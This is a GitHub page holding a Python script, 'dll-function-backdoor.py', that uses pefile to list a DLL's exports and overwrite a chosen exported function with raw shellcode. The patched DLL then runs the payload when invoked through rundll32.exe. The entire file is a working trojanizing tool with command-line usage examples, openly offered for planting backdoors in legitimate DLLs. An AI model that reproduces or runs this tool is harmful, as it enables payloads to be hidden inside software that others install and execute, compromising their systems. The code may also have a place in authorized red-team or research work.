-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdll-function-backdoor.py
More file actions
executable file
·218 lines (180 loc) · 7.34 KB
/
Copy pathdll-function-backdoor.py
File metadata and controls
executable file
·218 lines (180 loc) · 7.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
"""
Enhanced DLL Function Backdoor Tool
Backdoor specific exported functions in DLLs for use with rundll32.exe
"""
import pefile
import argparse
import sys
import struct
def list_exports(dll_path):
"""List all exported functions from a DLL"""
try:
pe = pefile.PE(dll_path)
except Exception as e:
print(f"[-] Error loading DLL: {e}")
sys.exit(1)
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
print("[-] DLL has no export directory")
sys.exit(1)
print(f"[+] Exported functions in {dll_path}:")
print("-" * 60)
exports = []
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
name = exp.name.decode('utf-8', errors='ignore')
rva = exp.address
try:
offset = pe.get_offset_from_rva(rva)
# Find which section this export is in
section = None
for s in pe.sections:
if s.VirtualAddress <= rva < s.VirtualAddress + s.Misc_VirtualSize:
section = s.Name.decode('utf-8', errors='ignore').strip('\x00')
break
exports.append({
'name': name,
'rva': rva,
'offset': offset,
'section': section or 'Unknown'
})
except Exception:
continue
if not exports:
print("[-] No named exports found")
return []
for exp in sorted(exports, key=lambda x: x['name']):
print(f" {exp['name']:<40} RVA: 0x{exp['rva']:08X} Section: {exp['section']}")
print("-" * 60)
print(f"[+] Total: {len(exports)} exported functions")
return exports
def inject_shellcode(dll_path, function_name, shellcode_path, output_path, method='direct'):
"""
Inject shellcode into a specific DLL exported function
Methods:
direct - Directly overwrite function code (simple, but destroys original function)
cave - Use code cave and redirect (preserves more of original, experimental)
"""
try:
pe = pefile.PE(dll_path)
except Exception as e:
print(f"[-] Error loading DLL: {e}")
sys.exit(1)
# Read shellcode
try:
with open(shellcode_path, "rb") as f:
shellcode = f.read()
except Exception as e:
print(f"[-] Error reading shellcode: {e}")
sys.exit(1)
if len(shellcode) == 0:
print("[-] Shellcode file is empty")
sys.exit(1)
# Check for export directory
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
print("[-] DLL has no export directory")
sys.exit(1)
# Find the target export
found = False
export_rva = None
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name and exp.name.decode('utf-8', errors='ignore') == function_name:
export_rva = exp.address
found = True
break
if not found:
print(f"[-] Export '{function_name}' not found.")
print("[*] Use --list to see available exports")
sys.exit(1)
# Get file offset from RVA
try:
export_offset = pe.get_offset_from_rva(export_rva)
except Exception as e:
print(f"[-] Error converting RVA to offset: {e}")
sys.exit(1)
# Find the section containing this export
section = None
for s in pe.sections:
if s.VirtualAddress <= export_rva < s.VirtualAddress + s.Misc_VirtualSize:
section = s
break
if not section:
print("[-] Export lies outside any valid section")
sys.exit(1)
section_name = section.Name.decode('utf-8', errors='ignore').strip('\x00')
# Calculate available space
max_len = (section.VirtualAddress + section.Misc_VirtualSize) - export_rva
print(f"[+] Target function: {function_name}")
print(f"[+] Export RVA: 0x{export_rva:08X}")
print(f"[+] File offset: 0x{export_offset:08X}")
print(f"[+] Section: {section_name}")
print(f"[+] Shellcode size: {len(shellcode)} bytes")
print(f"[+] Available space: {max_len} bytes")
if len(shellcode) > max_len:
print(f"[-] Shellcode too large ({len(shellcode)} bytes > {max_len} max)")
print("[*] Consider using a smaller shellcode or code cave method")
sys.exit(1)
# Check if section is executable
if not (section.Characteristics & 0x20000000): # IMAGE_SCN_MEM_EXECUTE
print(f"[!] Warning: Section {section_name} is not marked as executable")
print("[*] The backdoor may not work. Consider making the section executable.")
# Perform injection based on method
if method == 'direct':
print(f"[+] Using direct injection method")
print(f"[+] Overwriting function at offset 0x{export_offset:X}")
patched = bytearray(pe.__data__)
patched[export_offset : export_offset + len(shellcode)] = shellcode
pe.__data__ = bytes(patched)
else:
print(f"[-] Unknown injection method: {method}")
sys.exit(1)
# Write patched DLL
try:
pe.write(output_path)
print(f"[+] Patched DLL saved to: {output_path}")
print(f"[+] Test with: rundll32.exe {output_path},{function_name}")
except Exception as e:
print(f"[-] Error writing output file: {e}")
sys.exit(1)
def main():
banner = """
╔═══════════════════════════════════════════════════════════╗
║ DLL Function Backdoor - rundll32.exe ready ║
╚═══════════════════════════════════════════════════════════╝
"""
print(banner)
parser = argparse.ArgumentParser(
description="Backdoor DLL exported functions for rundll32.exe execution",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
List exports:
%(prog)s --dll target.dll --list
Backdoor a function:
%(prog)s --dll target.dll --function MyFunction --shellcode payload.bin --output backdoored.dll
Test backdoored DLL:
rundll32.exe backdoored.dll,MyFunction
"""
)
parser.add_argument("--dll", "-d", required=True, help="Input DLL file")
parser.add_argument("--list", "-l", action="store_true", help="List all exported functions")
parser.add_argument("--function", "-f", help="Target exported function name")
parser.add_argument("--shellcode", "-s", help="Shellcode file (raw binary)")
parser.add_argument("--output", "-o", help="Output patched DLL file")
parser.add_argument("--method", "-m", default="direct", choices=["direct"],
help="Injection method (default: direct)")
args = parser.parse_args()
# List mode
if args.list:
list_exports(args.dll)
sys.exit(0)
# Injection mode - validate arguments
if not args.function:
parser.error("--function is required for injection mode (or use --list)")
if not args.shellcode:
parser.error("--shellcode is required for injection mode")
if not args.output:
parser.error("--output is required for injection mode")
inject_shellcode(args.dll, args.function, args.shellcode, args.output, args.method)
if __name__ == "__main__":
main()